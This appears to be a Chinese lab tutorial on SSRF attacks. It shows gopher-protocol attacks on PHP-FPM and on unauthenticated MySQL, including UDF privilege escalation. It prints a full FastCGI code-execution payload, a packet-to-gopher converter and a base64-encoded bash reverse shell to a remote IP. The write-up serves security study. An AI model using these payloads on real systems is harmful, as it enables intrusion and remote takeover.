实战 | 利用SSRF渗透内网主机-中

SSRF攻击FastCGI执行命令 FastCGI与PHP-FPM FastCGI 快速通用网关接口（Fast Common Gateway Interface／FastCGI）是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口（CGI）的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销，从而使[服务器可以同时处理更多的网页请求。 众所周知，在网站分类中存在一种分类就是静态网站和动态网站，两者的区别就是静态网站只需要通过浏览器进行解析，其中的页面是一对一的(一个内容对应一个页面)，而动态网站需要一个额外的编译解析的过程，网页上的数据是从数据库中或者其他地方调用，页面会随着数据的变化而改变，就产生了一定的交互性。 浏览器访问静态网页过程 在整个网页的访问过程中，Web容器(例如Apache、Nginx)只担任着内容分发者的身份，当访问静态网站的主页时，Web容器会到网站的相应目录中查找主页文件，然后发送给用户的浏览器。 img 浏览器访问动态网页过程 当访问动态网站的主页时，根据容器的配置文件，它知道这个页面不是静态页面，web容器就会去找PHP解析器来进行处理(这里以Apache为例)，它会把这个请求进行简单的处理，然后交给PHP解释器。 img 当Apache收到用户对 index.php 的请求后，如果使用的是CGI，会启动对应的 CGI 程序，对应在这里就是PHP的解析器。接下来PHP解析器会解析php.ini文件，初始化执行环境，然后处理请求，再以规定CGI规定的格式返回处理后的结果，退出进程，Web server再把结果返回给浏览器。这就是一个完整的动态PHP Web访问流程。 这里说的是使用CGI，而FastCGI就相当于高性能的CGI，与CGI不同的是它像一个常驻的CGI，在启动后会一直运行着，不需要每次处理数据时都启动一次， 所以这里引出下面这句概念，FastCGI是语言无关的、可伸缩架构的CGI开放扩展，其主要行为是将CGI解释器进程保持在内存中，并因此获得较高的性能 。 php-fpm 了解了CGI和FastCGI之后，我们来看一下什么是php-fpm，官方对它的解释是FPM（FastCGI 进程管理器）用于替换 PHP FastCGI 的大部分附加功能，对于高负载网站是非常有用的。 也就是说php-fpm是FastCGI的一个具体实现，并且提供了进程管理的功能，在其中的进程中，包含了master和worker进程，这个在后面我们进行环境搭建的时候可以通过命令查看。其中master 进程负责与 Web 服务器进行通信，接收 HTTP 请求，再将请求转发给 worker 进程进行处理，worker 进程主要负责动态执行 PHP 代码，处理完成后，将处理结果返回给 Web 服务器，再由 Web 服务器将结果发送给客户端。 PHP-FPM攻击实现原理 想要分析它的攻击原理需要从FastCGI协议封装数据内容来看，这里仅对攻击原理做简要描述，CGI 和 FastCGI 协议的运行原理这篇文章中详细介绍了FastCGI协议的内容，其攻击原理就是在设置环境变量实际请求中会出现一个SCRIPT_FILENAME': '/var/www/html/index.php这样的键值对，它的意思是php-fpm会执行这个文件，但是这样即使能够控制这个键值对的值，但也只能控制php-fpm去执行某个已经存在的文件，不能够实现一些恶意代码的执行。 而在php5.3.9后来的版本中，php增加了安全选项导致只能控制php-fpm执行一些php、php4这样的文件，这也增大了攻击的难度。但是好在php官方允许通过PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置。 那么当设置php环境变量为:auto_prepend_file = php://input;allow_url_include = On,就会在执行php脚本之前包含auto_prepend_file文件的内容,php://input也就是POST的内容,这个我们可以在FastCGI协议的body控制为恶意代码，这样就在理论上实现了php-fpm任意代码执行的攻击。 环境搭建 安装环境与依赖 这里直接在Ubuntu上安装Nginx和php-fpm，首先安装Nginx sudo apt-get install nginx 安装php、php-fpm以及一些插件 sudo apt-get install software-properties-common python-software-properties sudo add-apt-repository ppa:ondrej/php          #这里容易卡死,解决方法使用代理 sudo apt-get updatesudo apt-get -y install php7.2sudo apt-get -y install php7.2-fpm php7.2-mysql php7.2-curl php7.2-json php7.2-mbstring php7.2-xml  php7.2-intl  配置php-fpm 修改配置监听9000端口来处理nginx的请求 打开/etc/php/7.2/fpm/pool.d/www.conf文件找到如下位置注释第一行添加第二行 ;listen = /run/php/php7.2-fpm.sock listen = 127.0.0.1:9000 注：这里如果设置监听为0.0.0.0:9000就在产生php-fpm未授权访问漏洞，此时攻击者可以直接与9000端口上的php-fpm进行通信，进而可以实现任意代码执行。 下面修改权限 chmod 777 /run/php/php7.2-fpm.sock 打开nginx的配置文件 /etc/nginx/sites-available/default 修改相应部分的配置 server {    listen       80; #监听80端口，接收http请求     server_name  hacktop.com; #就是网站地址     root /usr/share/nginx/html/; # 准备存放代码工程的路径     #路由到网站根目录www.example.com时候的处理     location / {        index index.php; #跳转到 hacktop.com/index.php         autoindex on;     }      #当请求网站下php文件的时候，反向代理到php-fpm    location ~ .php$ {            root html;             fastcgi_split_path_info ^(.+.php)(/.+)$;             fastcgi_pass        127.0.0.1:9000;             fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;             fastcgi_index       index.php;             include             fastcgi_params;         }} 启动环境 配置完成后查看一下php-fpm的安装位置，然后启动 image-20211201132107539 重新启动Nginx sudo systemctl restart nginx 然后检查nginx是否正确启动 systemctl status nginx image-20211201132738682 检查php-fpm是否正确启动 ps -elf | grep php-fpm image-20211201132859864 这里就可以看出上面所说的存在一个master进程和多个worker进程 下面将/usr/share/nginx/html/（nginx Web目录）下的文件删除，新建一个index.php。 内容可以写上用来检查各项是否正常运行，如果页面为空，查看这篇文章解决。 image-20211201133404402 其中Sever API 处和上图一样说明运行正确，然后在目录下新建ssrf.php 内容为   该代码为一个ssrf漏洞的示例代码，可以访问/ssrf.php?url=http://www.baidu.com进行测试，若能实现跳转到百度的页面，或包含百度的页面即SSRF环境搭建成功 image-20211201133950257 漏洞利用 在这里就直接使用Gopherus生成payload image-20211201134731583 对生成的payload再次进行URL编码，放入URL参数浏览器请求如下 http://hacktop.com/ssrf.php?url=gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%250C%2504%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH54%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%251FSCRIPT_FILENAME/usr/share/nginx/html/index.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25006%2504%2500%253C%253Fphp%2520system%2528%2527id%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500 成功执行命令 image-20211201135040353 SSRF利用MySQL未授权攻击 MySQL通信协议 MySQL连接方式 MySQL分为服务端和客户端，客户端连接服务器使存在三种方法： •Unix套接字•内存共享/命名管道•TCP/IP套接字 •在Linux或者Unix环境下，当我们输入mysql –uroot –proot登录MySQL服务器时就是用的Unix套接字连接；Unix套接字其实不是一个网络协议，只能在客户端和Mysql服务器在同一台电脑上才可以使用。•在Windows系统中客户端和Mysql服务器在同一台电脑上，可以使用命名管道和共享内存的方式。•TCP/IP套接字是在任何系统下都可以使用的方式，也是使用最多的连接方式，当我们输入mysql –h127.0.0.1 –uroot –proot时就是要TCP/IP套接字。所以当我们需要抓取mysql通信数据包时必须使用TCP/IP套接字连接。 MySQL认证过程 MySQL客户端连接并登录服务器时存在两种情况：需要密码认证以及无需密码认证。当需要密码认证时使用挑战应答模式，服务器先发送salt然后客户端使用salt加密密码然后验证；当无需密码认证时直接发送TCP/IP数据包即可。所以在非交互模式下登录并操作MySQL只能在无需密码认证，未授权情况下进行，本文利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。 MySQL客户端与服务器的交互主要分为两个阶段：Connection Phase（连接阶段或者叫认证阶段）和Command Phase（命令阶段）。在连接阶段包括握手包和认证包，这里我们不详细说明握手包，主要关注认证数据包。 漏洞利用-查询数据库 实验环境： 系统：Ubuntu 20.04.3 LTS 数据库：MariaDB 10.3.31 （mysql没有实验成功，可能是版本的问题） 配置空密码用户 首先我们需要配置一个空密码的用户 # 创建用户 CREATE USER 'admin'@'localhost';# 授予权限GRANTUSAGE ON *.* TO 'admin'@'localhost';# 刷新权限表flush privileges; 抓取MySQL数据包 首先，开一个窗口，tcpdump -i lo port 3306 -w mysql.pcapng，开始抓取3306的数据包。 image-20211201210243808 然后在另一个窗口，开启MySQL终端，查询一些信息。最后记得exit;，不然会出问题。 image-20211201213500304 中止 tcpdump 使用 Wireshark 打开 mysql.pcapng 数据包，追踪 TCP 流 image-20211201214035748 然后提取request包，并且显示为原始数据（Raw） image-20211201214415615 将其整理成 1 行 bd00000184a6bf20000000012d000000000000000000000000000000000000000d00000061646d696e00006d7973716c5f6e61746976655f70617373776f7264007f035f6f73054c696e75780c5f636c69656e745f6e616d650a6c69626d617269616462045f7069640534313534390f5f636c69656e745f76657273696f6e06332e312e3134095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c0c5f7365727665725f686f7374093132372e302e302e31210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031120000000353454c45435420444154414241534528290600000002666c6167730f0000000373686f77206461746162617365730c0000000373686f77207461626c65730600000004666c616700130000000373656c656374202a2066726f6d20666c61670100000001 生成 gopher 数据流 然后使用如下的 Python3 脚本将数据转化为 url 编码： import sys def results(s):    a=[s[i:i+2] for i in range(0,len(s),2)]    return "curl gopher://127.0.0.1:3306/_%"+"%".join(a) if __name__=="__main__":    s=sys.argv[1]    print(results(s)) image-20211201215230891 本地 curl 请求这个 gopher 协议的数据包看看 image-20211201215553354 将生成的payload再进行URL编码，结合SSRF漏洞进行利用 image-20211201215924201 漏洞利用-UDF提权 提权前需要注意： •mysql（mariadb）必须使用root用户启动（不通过service或者systemctl）•secure_file_priv变量的值需要为空 寻找插件目录 首先来寻找 MySQL 的插件目录，原生的 MySQL 命令如下： $ mysql -h127.0.0.1 -uadmin -e "show variables like '%plugin%';" 然后tcpdump 监听，使用 Wirshark 分析导出原始数据。这里为了方便就直接查询了，步骤和上面是一样的。 image-20211202124657883 写入动态链接库 拿到 MySQL 的插件目录为：/usr/lib/x86_64-linux-gnu/mariadb19/plugin/ 接着来写入动态链接库，原生的 MySQL 命令如下： # 因为 payload 太长 这里就先进入 MySQL 控制台 $ mysql -h127.0.0.1 -uroot MariaDB [(none)]> SELECT 0x7f454c4602...(省略大量payload)...0000000 INTO DUMPFILE '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/udf.so'; 关于 UDF 提权的 UDF 命令，推荐参考国光大佬的这个 UDF 提权辅助页面： https://www.sqlsec.com/tools/udf.html tcpdump 监听到的原始数据后，转换 gopher 协议，URL编码后，SSRF 攻击写入动态链接库。 image-20211202125541235 可以看到udf.so 已经成功写入到 MySQL 的插件目录下了 image-20211202125633560 以此类推，创建自定义函数： $ mysql -h127.0.0.1 -uroot -e "CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';" 最后通过创建的自定义函数并执行系统命令将 shell 弹出来，原生命令如下： $ mysql -h127.0.0.1 -uroot -e "select sys_eval('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMy4yNDEvNDQ0NCAwPiYx|base64 -d|bash -i')" 测试过程中默认情况下弹不出来，所以这里将原始的 bash 反弹 shell 命令给编码了： image-20211202134310277 这里使用的是国光大佬的命令执行辅助工具： https://www.sqlsec.com/tools.html tcpdump 监听到的原始数据后，转换 gopher 协议，URL二次编码请求一下，然后 SSRF 攻击成功弹出 shell。 image-20211202135909572 上述payload，除了写入动态链接库外，其他的都可以使用Gopherus工具生成 image-20211202140513352 侵权请私聊公众号删文